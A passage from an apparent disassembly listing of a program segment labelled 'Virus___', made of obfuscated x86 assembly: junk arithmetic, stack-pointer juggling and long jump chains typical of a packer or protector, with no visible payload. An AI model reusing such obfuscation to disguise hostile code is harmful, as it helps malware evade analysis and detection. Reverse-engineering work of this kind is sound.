		mov	esi, [esp]
		add	esp, 4
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		push	esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		push	ecx
		mov	ecx, 6FC430B8h
		xor	ecx, 6FC430B9h
		mov	edx, ecx
		mov	ecx, [esp]
		jmp	loc_55B0DC
; ---------------------------------------------------------------------------


loc_54FCD8:				; CODE XREF: Virus___:005531BBj
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		mov	ebx, esp
		push	ebp
		jmp	loc_550AAA
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	203Eh
		mov	[esp], edi
		jmp	loc_561BC9
; ---------------------------------------------------------------------------


loc_54FCFC:				; CODE XREF: Virus___:00562F38j
		xchg	edi, [esp]
		pop	esp
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		jmp	loc_5526DB
; ---------------------------------------------------------------------------


loc_54FD0D:				; CODE XREF: Virus___:005539D8j
		and	ecx, edx
		pop	edx
		dec	ecx
		add	ecx, 7A49339Eh
		xor	ecx, 0A3122458h
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	edx, 4B98DB3Bh
		jmp	loc_550464
; ---------------------------------------------------------------------------


loc_54FD30:				; CODE XREF: Virus___:0055366Cj
		pop	ebx
		pop	edx
		add	esi, 1
		add	esi, 0D17FC511h
		add	eax, esi
		pop	esi
		jmp	loc_55D323
; ---------------------------------------------------------------------------


loc_54FD46:				; CODE XREF: Virus___:005587BFj
		push	418Eh
		jmp	loc_555225
; ---------------------------------------------------------------------------


loc_54FD50:				; CODE XREF: Virus___:0055C08Bj
		pop	edx
		add	esp, 4
		push	ebx
		push	674Ah
		jmp	loc_552984
; ---------------------------------------------------------------------------


loc_54FD62:				; CODE XREF: Virus___:0055AB0Fj
		xchg	ecx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5625B5
; ---------------------------------------------------------------------------


loc_54FD76:				; CODE XREF: Virus___:00557C59j
		add	esp, 4
		jmp	loc_558B46
; ---------------------------------------------------------------------------


loc_54FD7E:				; CODE XREF: Virus___:00554AC8j
		sub	bl, al
		sub	bl, 0E9h
		pop	eax
		jmp	loc_556013
; ---------------------------------------------------------------------------


loc_54FD89:				; CODE XREF: Virus___:00553FCFj
		sub	eax, 0DA980EA3h
		sub	esi, eax
		pop	eax
		jmp	loc_55895C
; ---------------------------------------------------------------------------


loc_54FD96:				; CODE XREF: Virus___:00559A78j
		pop	esp
		xchg	bl, ch
		push	eax
		jmp	loc_5579C9
; ---------------------------------------------------------------------------


loc_54FD9F:				; CODE XREF: Virus___:005576B1j
		shl	esi, 6
		and	esi, 418D0B32h
		xor	esi, 0F372EB4Eh
		sub	ebx, esi
		pop	esi
		push	ebx
		pop	ebp
		pop	ebx
		or	eax, ebp
		jmp	loc_55E1A1
; ---------------------------------------------------------------------------


loc_54FDBB:				; CODE XREF: Virus___:0055C068j
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_55B71B
; ---------------------------------------------------------------------------


loc_54FDC4:				; CODE XREF: Virus___:0056116Aj
		shl	al, 3
		jmp	loc_558437
; ---------------------------------------------------------------------------


loc_54FDCC:				; CODE XREF: Virus___:0055C5F4j
		and	eax, ecx
		push	dword ptr [esp]
		jmp	loc_55C0A8
; ---------------------------------------------------------------------------


loc_54FDD6:				; CODE XREF: Virus___:00564BABj
		xor	edx, 0E21580Dh
		shr	edx, 1
		jmp	loc_561057
; ---------------------------------------------------------------------------


loc_54FDE3:				; CODE XREF: Virus___:00560152j
		mov	eax, 0BF154DDh
		add	eax, 0D55C15Eh
		mov	ebp, eax
		pop	eax
		push	esi
		mov	esi, 242561C8h
		jmp	loc_55CD3D
; ---------------------------------------------------------------------------


loc_54FDFB:				; CODE XREF: Virus___:005647A0j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_54FE0D:				; CODE XREF: Virus___:00563844j
		push	ebx
		jmp	loc_5605C7
; ---------------------------------------------------------------------------


loc_54FE13:				; CODE XREF: Virus___:00550BFCj
		sub	ebx, eax
		pop	eax
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		sub	ebx, eax
		push	eax
		jmp	loc_55C2B7
; ---------------------------------------------------------------------------


loc_54FE2A:				; CODE XREF: Virus___:005622D6j
		mov	esi, esp
		push	ecx
		jmp	loc_551F2A
; ---------------------------------------------------------------------------


loc_54FE32:				; CODE XREF: Virus___:00560C65j
		add	esp, 4
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_556464
; ---------------------------------------------------------------------------


loc_54FE55:				; CODE XREF: Virus___:0055DDC7j
		mov	ah, 7
		jmp	loc_5513C2
; ---------------------------------------------------------------------------


loc_54FE5C:				; CODE XREF: Virus___:0055D009j
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		pop	esp
		pop	edi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_5600B6
; ---------------------------------------------------------------------------


loc_54FE72:				; CODE XREF: Virus___:00561A89j
		mov	esi, 529D7960h
		sub	ebx, esi
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55E954
; ---------------------------------------------------------------------------


loc_54FE91:				; CODE XREF: Virus___:00556FA8j
		push	eax
		push	0B8Ch
		mov	[esp], edx
		pop	eax
		pop	edx
		neg	edx
		xchg	eax, edx
		shr	eax, 3
		shr	eax, 1
		sub	eax, 3820D4Ch
		push	edi
		mov	edi, eax
		mov	ebp, edi
		mov	edi, [esp]
		jmp	loc_55F665
; ---------------------------------------------------------------------------


loc_54FEB6:				; CODE XREF: Virus___:0055C59Cj
		add	ecx, 64DE1021h
		xor	ecx, 2FF62225h
		sub	ebx, ecx
		pop	ecx
		jmp	loc_55F673
; ---------------------------------------------------------------------------


loc_54FECA:				; CODE XREF: Virus___:005595A2j
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_55D0C1
; ---------------------------------------------------------------------------


loc_54FED5:				; CODE XREF: Virus___:005562E9j
		sub	esp, 4
		mov	[esp], edi
		push	6885h
		jmp	loc_564750
; ---------------------------------------------------------------------------


loc_54FEE5:				; CODE XREF: Virus___:00560781j
		pop	esi
		push	5D49h
		mov	[esp], ebx
		jmp	loc_5640EA
; ---------------------------------------------------------------------------


loc_54FEF3:				; CODE XREF: Virus___:00558008j
		shr	edx, 5
		jmp	loc_554798
; ---------------------------------------------------------------------------


loc_54FEFB:				; CODE XREF: Virus___:00562531j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 3F5841D6h
		shr	ecx, 2
		push	eax
		push	edx
		mov	edx, 203F34DFh
		mov	eax, 0E941D3C7h
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		xor	ecx, eax
		pop	eax
		shl	ecx, 5
		jmp	loc_5618E6
; ---------------------------------------------------------------------------


loc_54FF2B:				; CODE XREF: Virus___:005626A0j
		mov	ebx, esp
		jmp	loc_553B06
; ---------------------------------------------------------------------------


loc_54FF32:				; CODE XREF: Virus___:0055B3F4j
		add	esp, 4
		add	esp, 4
		jmp	loc_55A67B
; ---------------------------------------------------------------------------


loc_54FF40:				; CODE XREF: Virus___:00550D73j
		mov	[esp], eax
		mov	eax, 31AB49D4h
		jmp	loc_55A092
; ---------------------------------------------------------------------------


loc_54FF4D:				; CODE XREF: Virus___:0055B0B0j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	locret_558CFF
; ---------------------------------------------------------------------------


loc_54FF59:				; CODE XREF: Virus___:00551897j
		add	esp, 4
		mov	edx, 0D2CB235Ch
		jmp	loc_5615E5
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		push	6A8Fh
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	25Eh
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_55C44F
; ---------------------------------------------------------------------------


loc_54FF8C:				; CODE XREF: Virus___:00556F08j
		add	eax, 67670912h
		push	esi
		jmp	loc_561923
; ---------------------------------------------------------------------------


loc_54FF97:				; CODE XREF: Virus___:00553C00j
		mov	eax, [esp]
		add	esp, 4
		and	edx, edi
		pop	edi
		not	edx
		or	edx, 678C124Bh
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 0
		sub	ebx, edx
		mov	edx, ebx
		jmp	loc_564B7C
; ---------------------------------------------------------------------------


loc_54FFBF:				; CODE XREF: Virus___:00550419j
		mov	ecx, [esp]
		jmp	loc_56181A
; ---------------------------------------------------------------------------


loc_54FFC7:				; CODE XREF: Virus___:00558E2Fj
		push	dword ptr [esp]
		jmp	loc_555BAB
; ---------------------------------------------------------------------------


loc_54FFCF:				; CODE XREF: Virus___:00558836j
		pop	ecx
		push	eax
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5584FE
; ---------------------------------------------------------------------------


loc_54FFDD:				; CODE XREF: Virus___:0055D621j
		push	ecx
		push	84A78B8Dh
		mov	ecx, [esp]
		add	esp, 4
		xor	ebp, ecx
		mov	ecx, [esp]
		jmp	loc_55D8C2
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	61CEh
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		jmp	loc_558E4E
; ---------------------------------------------------------------------------


loc_550008:				; CODE XREF: Virus___:00553715j
		add	bl, dl
		jmp	loc_54F965
; ---------------------------------------------------------------------------


loc_55000F:				; CODE XREF: Virus___:0055A2EBj
		push	edi
		mov	edi, 128113D5h
		mov	esi, edi
		pop	edi
		jmp	loc_555843
; ---------------------------------------------------------------------------


loc_55001D:				; CODE XREF: Virus___:00555FF4j
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	eax
		mov	eax, 4
		jmp	loc_55D3A2
; ---------------------------------------------------------------------------


loc_550036:				; CODE XREF: Virus___:005562DDj
		mov	bl, ah
		jmp	loc_5515B8
; ---------------------------------------------------------------------------


loc_55003D:				; CODE XREF: Virus___:0055C6B3j
		or	esi, 3EAF4710h
		jmp	loc_563BE2
; ---------------------------------------------------------------------------


loc_550048:				; CODE XREF: Virus___:00563A2Cj
		sub	esi, 1AAF02FCh
		pop	ebp
		sub	esi, 29FB51DDh
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_56346E
; ---------------------------------------------------------------------------


loc_550069:				; CODE XREF: Virus___:00564050j
		push	edi
		mov	edi, 0B239417Ah
		sub	edx, 4E0C4B33h
		add	edx, edi
		add	edx, 4E0C4B33h
		mov	edi, [esp]
		add	esp, 4
		add	ebp, 44F93150h
		add	ebp, edx
		sub	ebp, 44F93150h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55B6EC
; ---------------------------------------------------------------------------


loc_55009F:				; CODE XREF: Virus___:00552142j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		push	17F6h
		jmp	loc_55D6DD
; ---------------------------------------------------------------------------


loc_5500BD:				; CODE XREF: Virus___:005559D6j
		pop	edx
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		not	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_554928
; ---------------------------------------------------------------------------


loc_5500D9:				; CODE XREF: Virus___:0055844Fj
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_55FCFC
; ---------------------------------------------------------------------------


loc_5500E4:				; CODE XREF: Virus___:00560FDBj
		add	esp, 4
		jmp	loc_55C301
; ---------------------------------------------------------------------------


loc_5500EF:				; CODE XREF: Virus___:0055C236j
		add	esi, 0CB9ACC19h
		add	edi, esi
		pop	esi
		push	5146h
		mov	[esp], eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		xchg	edi, [esp]
		pop	esp
		jmp	loc_553FAA
; ---------------------------------------------------------------------------


loc_550111:				; CODE XREF: Virus___:00553686j
		mov	[esp], ebp
		push	31F1h
		mov	[esp], ecx
		jmp	loc_5594E5
; ---------------------------------------------------------------------------


loc_550121:				; CODE XREF: Virus___:0055B21Fj
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		jmp	loc_55AD6D
; ---------------------------------------------------------------------------


loc_550137:				; CODE XREF: Virus___:00558965j
		not	edi
		xor	edi, 0CD5AEFFAh
		mov	ecx, edi
		jmp	loc_55FC99
; ---------------------------------------------------------------------------


loc_550146:				; CODE XREF: Virus___:0055EC25j
		pop	ebp
		jmp	loc_56458C
; ---------------------------------------------------------------------------


loc_55014C:				; CODE XREF: Virus___:0055825Ej
		mov	ebx, eax
		pop	eax
		mov	edi, 67289BB0h
		sub	edi, 8D71622h
		sub	edi, ebx
		add	edi, 8D71622h
		mov	ebx, [esp]
		add	esp, 4
		sub	edi, 0FFFFFFFFh
		shr	edi, 2
		jmp	loc_559D79
; ---------------------------------------------------------------------------


loc_550176:				; CODE XREF: Virus___:00552930j
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55017B:				; CODE XREF: Virus___:00550611j
		push	edi
		mov	edi, 2E5B6Fh
		xor	edi, 271660BFh
		jmp	loc_556AF4
; ---------------------------------------------------------------------------


loc_55018C:				; CODE XREF: Virus___:00553A65j
		mov	ch, dl
		jmp	loc_554DDB
; ---------------------------------------------------------------------------


loc_550193:				; CODE XREF: Virus___:0054FAEBj
		add	ebp, 762D2F77h
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	ecx
		push	ebp
		push	esi
		mov	esi, 416122AEh
		sub	esi, 47404887h
		jmp	loc_55CC75
; ---------------------------------------------------------------------------


loc_5501BB:				; CODE XREF: Virus___:00550B1Fj
		mov	ebx, 567F44CCh
		jmp	loc_55A836
; ---------------------------------------------------------------------------


loc_5501C5:				; CODE XREF: Virus___:0055D953j
		sub	ecx, 4
		jmp	loc_553F79
; ---------------------------------------------------------------------------


loc_5501D0:				; CODE XREF: Virus___:005579B6j
		push	ebx
		jmp	loc_55FFE2
; ---------------------------------------------------------------------------


loc_5501D6:				; CODE XREF: Virus___:0055F5CEj
		mov	[esp], edi
		push	ecx
		mov	ecx, 7A267879h
		jmp	loc_558ADD
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_56148B
; ---------------------------------------------------------------------------


loc_5501EA:				; CODE XREF: Virus___:0055E19Cj
		neg	ebp
		jmp	loc_5624BD
; ---------------------------------------------------------------------------


loc_5501F1:				; CODE XREF: Virus___:0055E032j
		push	small 3FC5h
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_564C88
; ---------------------------------------------------------------------------


loc_550201:				; CODE XREF: Virus___:005633EBj
		pop	eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_550E0F
; ---------------------------------------------------------------------------


loc_55020D:				; CODE XREF: Virus___:00561E25j
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	eax
		mov	eax, 7C073D79h
		inc	eax
		dec	eax
		neg	eax
		shl	eax, 1
		jmp	loc_555CCC
; ---------------------------------------------------------------------------


loc_550223:				; CODE XREF: Virus___:0055A748j
		pop	esp
		push	eax
		jmp	loc_55D872
; ---------------------------------------------------------------------------


loc_55022A:				; CODE XREF: Virus___:005526E1j
		mov	esp, [esp]
		jmp	loc_55D37F
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	574Fh
		mov	[esp], eax
		jmp	loc_559E04
; ---------------------------------------------------------------------------


loc_550242:				; CODE XREF: Virus___:005534D5j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_55ED60
; ---------------------------------------------------------------------------


loc_550254:				; CODE XREF: Virus___:00550EE4j
		add	ebp, esi
		jmp	loc_553536
; ---------------------------------------------------------------------------


loc_55025B:				; CODE XREF: Virus___:0056478Ej
		mov	[esp], ebp
		jmp	loc_5525EC
; ---------------------------------------------------------------------------


loc_550263:				; CODE XREF: Virus___:0055F20Ej
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_55D9EB
; ---------------------------------------------------------------------------


loc_55026E:				; CODE XREF: Virus___:0055BFF3j
		pop	esp
		xchg	esi, [esp]
		mov	esp, [esp]
		push	5767h
		mov	[esp], esi
		push	4F2h
		mov	[esp], ebx
		push	ebp
		push	278B2E32h
		jmp	loc_55BE67
; ---------------------------------------------------------------------------


loc_550290:				; CODE XREF: Virus___:0055A81Fj
		sub	dword ptr [esp+4], 5F2E7D47h
		add	dword ptr [esp+4], 5D89705Fh
		sub	[esp+4], esi
		jmp	loc_5559E2
; ---------------------------------------------------------------------------


loc_5502A9:				; CODE XREF: Virus___:00552C88j
		mov	[esp], edi
		push	edx
		push	14786B88h
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 7D4929A5h
		shr	ebx, 5
		jmp	loc_5507B7
; ---------------------------------------------------------------------------


loc_5502C6:				; CODE XREF: Virus___:0056262Ej
		sub	al, 96h
		push	ecx
		push	ebx
		jmp	loc_5524AD
; ---------------------------------------------------------------------------


loc_5502CF:				; CODE XREF: Virus___:0055B6FAj
		add	ebp, 780712EBh
		pop	edx
		xchg	ebp, [esp]
		jmp	loc_553725
; ---------------------------------------------------------------------------


loc_5502DE:				; CODE XREF: Virus___:00557FCFj
		add	ebp, 47484C67h
		add	eax, ebp
		pop	ebp
		xor	eax, 4B2C3914h
		add	ebp, eax
		pop	eax
		add	ebp, 4
		xor	ebp, [esp]
		jmp	loc_5538C4
; ---------------------------------------------------------------------------


loc_5502FA:				; CODE XREF: Virus___:005639B8j
		add	ebx, 0CCA3369h
		sub	ebx, ebp
		sub	ebx, 0CCA3369h
		add	ebx, 5D4C2A79h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_551EB0
; ---------------------------------------------------------------------------


loc_55031C:				; CODE XREF: Virus___:00558CE2j
		sub	ebx, eax
		push	edx
		push	eax
		jmp	loc_56311D
; ---------------------------------------------------------------------------


loc_550325:				; CODE XREF: Virus___:00554E88j
		mov	eax, [esp]
		add	esp, 4
		xchg	edx, edi
		not	edx
		xchg	edx, edi
		shl	edi, 8
		jmp	loc_54F973
; ---------------------------------------------------------------------------


loc_55033C:				; CODE XREF: Virus___:0055FF03j
		xor	eax, 0B80CEA65h
		and	esi, eax
		jmp	loc_561F89
; ---------------------------------------------------------------------------


loc_550348:				; CODE XREF: Virus___:00555A97j
		push	3A1Bh
		mov	[esp], esi
		push	3FF6h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		jmp	loc_563660
; ---------------------------------------------------------------------------


loc_550368:				; CODE XREF: Virus___:00551DF9j
		push	495Ah
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_55DFE0
; ---------------------------------------------------------------------------


loc_550377:				; CODE XREF: Virus___:0055EDE2j
		mov	[esp], esi
		mov	esi, esp
		push	4C98h
		mov	[esp], ecx
		push	4
		pop	ecx
		sub	esi, 518A6B7Ah
		add	esi, ecx
		jmp	loc_5615B0
; ---------------------------------------------------------------------------


loc_550397:				; CODE XREF: Virus___:00555589j
		xor	esi, edi
		pop	edi
		jmp	loc_55FEAE
; ---------------------------------------------------------------------------


loc_55039F:				; CODE XREF: Virus___:0055BEFEj
		add	ebx, eax
		add	ebx, 5645659Ah
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	ebx, 0F960B1Dh
		sub	ebx, eax
		push	esi
		mov	esi, 54960D87h
		sub	esi, 4500026Ah
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		sub	ebx, 570D1E69h
		push	small word ptr [eax]
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_5503D8:				; CODE XREF: Virus___:00562680j
		push	dword ptr [esp]
		pop	edx
		push	48D2h
		mov	[esp], edx
		push	5A60h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		jmp	loc_560790
; ---------------------------------------------------------------------------


loc_5503FC:				; CODE XREF: Virus___:005621DBj
		sub	bh, 66h
		push	dx
		mov	dl, 52h
		jmp	loc_55BA16
; ---------------------------------------------------------------------------


loc_550408:				; CODE XREF: Virus___:005588A1j
		mov	ecx, 4
		sub	eax, 3F132F71h
		add	eax, ecx
		add	eax, 3F132F71h
		jmp	loc_54FFBF
; ---------------------------------------------------------------------------


loc_55041E:				; CODE XREF: Virus___:00553C2Aj
		push	dword ptr [esp]
		jmp	loc_55D774
; ---------------------------------------------------------------------------
		neg	word ptr [esp]
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_550430:				; CODE XREF: Virus___:00563460j
		div	cx
		push	small 4F08h
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_550443:				; CODE XREF: Virus___:0055C600j
		push	ecx
		push	eax
		jmp	loc_559FE9
; ---------------------------------------------------------------------------


loc_55044A:				; CODE XREF: Virus___:0055DE90j
		mov	esi, [esp]
		add	esp, 4
		add	ebp, esi
		pop	esi
		sub	esp, 4
		jmp	loc_5578D4
; ---------------------------------------------------------------------------


loc_55045B:				; CODE XREF: Virus___:0055D36Cj
		mov	[esp], ebp
		push	ebx
		jmp	loc_55E2D5
; ---------------------------------------------------------------------------


loc_550464:				; CODE XREF: Virus___:0054FD2Bj
		sub	ecx, 72B96CB2h
		sub	ecx, 257C6AD5h
		jmp	loc_5547E9
; ---------------------------------------------------------------------------


loc_550475:				; CODE XREF: Virus___:0055654Dj
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_55368B
; ---------------------------------------------------------------------------


loc_550483:				; CODE XREF: Virus___:00559FDBj
		push	esi
		mov	esi, edi
		mov	ecx, esi
		pop	esi
		mov	edi, [esp]
		jmp	loc_55C7CF
; ---------------------------------------------------------------------------


loc_550491:				; CODE XREF: Virus___:00556C33j
		inc	ecx
		xor	ecx, 16034F38h
		add	eax, ecx
		pop	ecx
		push	ebx
		jmp	loc_55496D
; ---------------------------------------------------------------------------


loc_5504A1:				; CODE XREF: Virus___:00559031j
		mov	[esp], ebp
		mov	ebp, 21880D27h
		add	edi, ebp
		jmp	loc_5619D3
; ---------------------------------------------------------------------------


loc_5504B0:				; CODE XREF: Virus___:0055AB7Cj
		add	ebx, 89E1398Dh
		jmp	loc_5513F6
; ---------------------------------------------------------------------------


loc_5504BB:				; CODE XREF: Virus___:005510A6j
		pop	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_552A87
; ---------------------------------------------------------------------------


loc_5504CC:				; CODE XREF: Virus___:00560AB1j
		pop	ecx
		add	eax, 79BE7AF8h
		jmp	loc_557C33
; ---------------------------------------------------------------------------


loc_5504D7:				; CODE XREF: Virus___:0055CC13j
		push	eax
		mov	eax, 317667C9h
		add	eax, 4B713963h
		shr	eax, 1
		inc	eax
		sub	eax, 659C162Bh
		sub	eax, 0D8D7BA6Ah
		add	esi, eax
		pop	eax
		xchg	esi, [esp]
		pop	esp
		sub	word ptr [esp+2], 119Ah
		jmp	loc_554489
; ---------------------------------------------------------------------------


loc_550502:				; CODE XREF: Virus___:0055C9A0j
		pop	edi
		and	ebx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		xor	ebx, 23246100h
		push	2DF6h
		mov	[esp], edx
		jmp	loc_564474
; ---------------------------------------------------------------------------


loc_550522:				; CODE XREF: Virus___:005601B5j
		mov	[esp], eax
		jmp	loc_55E08D
; ---------------------------------------------------------------------------


loc_55052A:				; CODE XREF: Virus___:005638E6j
		push	16B5h
		push	79CFh
		jmp	loc_5571FF
; ---------------------------------------------------------------------------


loc_550539:				; CODE XREF: Virus___:005649EFj
		add	esp, 4
		push	ebp
		sub	esp, 4
		mov	[esp], esi
		push	3485644Eh
		jmp	loc_5596DF
; ---------------------------------------------------------------------------


loc_550553:				; CODE XREF: Virus___:0055D475j
		mov	edi, 2010585h
		add	ebx, edi
		pop	edi
		jmp	loc_55E3BD
; ---------------------------------------------------------------------------


loc_550560:				; CODE XREF: Virus___:00561B67j
		mov	ebp, [esp]
		add	esp, 4
		xor	ecx, 622422A0h
		jmp	loc_562685
; ---------------------------------------------------------------------------


loc_550571:				; CODE XREF: Virus___:00555796j
		mov	dx, [esp]
		add	esp, 2
		push	ecx
		push	edx
		mov	dl, 9Eh
		shr	dl, 7
		and	dl, 0F2h
		push	ebx
		jmp	loc_5611C7
; ---------------------------------------------------------------------------


loc_55058B:				; CODE XREF: Virus___:0055F6EDj
		pop	esp
		push	575Ah
		mov	[esp], ebx
		push	1EA2h
		mov	[esp], eax
		push	744830FDh
		mov	eax, [esp]
		jmp	loc_551062
; ---------------------------------------------------------------------------


loc_5505A9:				; CODE XREF: Virus___:00552305j
		push	edx
		jmp	loc_55F4FF
; ---------------------------------------------------------------------------


loc_5505AF:				; CODE XREF: Virus___:00550D20j
		xchg	eax, esi
		shr	esi, 6
		push	eax
		mov	eax, 71984148h
		add	esi, eax
		pop	eax
		add	eax, esi
		jmp	loc_55A5F9
; ---------------------------------------------------------------------------


loc_5505C3:				; CODE XREF: Virus___:0054F896j
		mov	ah, bh
		pop	ebx
		mov	[edx], ah
		pop	eax
		jmp	loc_5555AA
; ---------------------------------------------------------------------------


loc_5505CE:				; CODE XREF: Virus___:00563C0Cj
		push	esi
		mov	esi, 0DBC4839h
		xor	esi, 50F06240h
		sub	esp, 4
		mov	[esp], edx
		push	edi
		jmp	loc_556619
; ---------------------------------------------------------------------------


loc_5505E6:				; CODE XREF: Virus___:0055453Fj
		push	ebx
		not	dword ptr [esp]
		jmp	loc_559011
; ---------------------------------------------------------------------------


loc_5505EF:				; CODE XREF: Virus___:0054FBF5j
		add	ebx, ebp
		pop	ebp
		movzx	ax, byte ptr [eax]
		push	small 6E1Ah
		mov	[esp], ax
		jmp	loc_55B2E4
; ---------------------------------------------------------------------------


loc_550603:				; CODE XREF: Virus___:005576A2j
		sub	ebp, 202F0F5Eh
		jmp	loc_5622E2
; ---------------------------------------------------------------------------


loc_55060E:				; CODE XREF: Virus___:00554C8Cj
		and	edx, edi
		pop	edi
		jmp	loc_55017B
; ---------------------------------------------------------------------------


loc_550616:				; CODE XREF: Virus___:0055630Dj
		mov	ebx, 1Ch
		jmp	loc_550942
; ---------------------------------------------------------------------------


loc_550620:				; CODE XREF: Virus___:005552DFj
		push	edi
		mov	edi, 22703797h
		jmp	loc_561C53
; ---------------------------------------------------------------------------


loc_55062B:				; CODE XREF: Virus___:0055629Fj
		pop	ebx
		jmp	loc_560CC2
; ---------------------------------------------------------------------------


loc_550631:				; CODE XREF: Virus___:00562B59j
		mov	esi, [esp]
		jmp	loc_558BE3
; ---------------------------------------------------------------------------


loc_550639:				; CODE XREF: Virus___:00554F9Ej
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55063E:				; CODE XREF: Virus___:0056412Cj
		mov	cl, 0ACh
		add	al, cl
		pop	cx
		push	edx
		mov	dh, 0CFh
		jmp	loc_56472B
; ---------------------------------------------------------------------------


loc_55064C:				; CODE XREF: Virus___:0055BDB5j
		add	esp, 4
		push	esi
		jmp	loc_56383E
; ---------------------------------------------------------------------------


loc_550658:				; CODE XREF: Virus___:005594D3j
		mov	ebx, [esp]
		add	esp, 4
		add	al, 76h
		jmp	loc_55ECD9
; ---------------------------------------------------------------------------


loc_550665:				; CODE XREF: Virus___:0055C9D3j
		shr	esi, 4
		inc	esi
		jmp	loc_5571D0
; ---------------------------------------------------------------------------


loc_55066E:				; CODE XREF: Virus___:0055BFB6j
		pop	ebp
		sub	ecx, 0A610B778h
		sub	edx, ecx
		pop	ecx
		push	3BA1h
		jmp	loc_5626C5
; ---------------------------------------------------------------------------


loc_550682:				; CODE XREF: Virus___:0055A206j
		sub	esp, 4
		mov	[esp], ebx
		add	dword ptr [esp], 68E75DA3h
		mov	ecx, [esp]
		push	6B90h
		mov	[esp], ebx
		jmp	loc_55611E
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_55D9DA
; ---------------------------------------------------------------------------


loc_5506AA:				; CODE XREF: Virus___:00552C41j
		sub	eax, edx
		sub	eax, 5F9746F5h
		jmp	loc_559D25
; ---------------------------------------------------------------------------


loc_5506B6:				; CODE XREF: Virus___:0056024Cj
		sub	ebx, 7C1D7450h
		jmp	loc_558CE1
; ---------------------------------------------------------------------------


loc_5506C1:				; CODE XREF: Virus___:0055D992j
		mov	eax, esp
		add	eax, 4
		push	ebx
		push	ebp
		mov	ebp, 6190748Eh
		push	eax
		mov	eax, 709324FEh
		mov	ebx, 5D61957Bh
		add	ebx, eax
		pop	eax
		add	ebx, ebp
		pop	ebp
		jmp	loc_55C5F9
; ---------------------------------------------------------------------------
		lodsb
		push	277Fh
		mov	[esp], ecx
		push	edx
		mov	dl, 0D1h
		jmp	loc_551FA3
; ---------------------------------------------------------------------------


loc_5506F6:				; CODE XREF: Virus___:0055BEB6j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_55E0AA
; ---------------------------------------------------------------------------


loc_550702:				; CODE XREF: Virus___:0055F32Cj
		mov	dh, ch
		mov	bh, dh
		pop	edx
		pop	cx
		add	bh, 6Fh
		sub	al, bh
		jmp	loc_551267
; ---------------------------------------------------------------------------


loc_550713:				; CODE XREF: Virus___:00560C43j
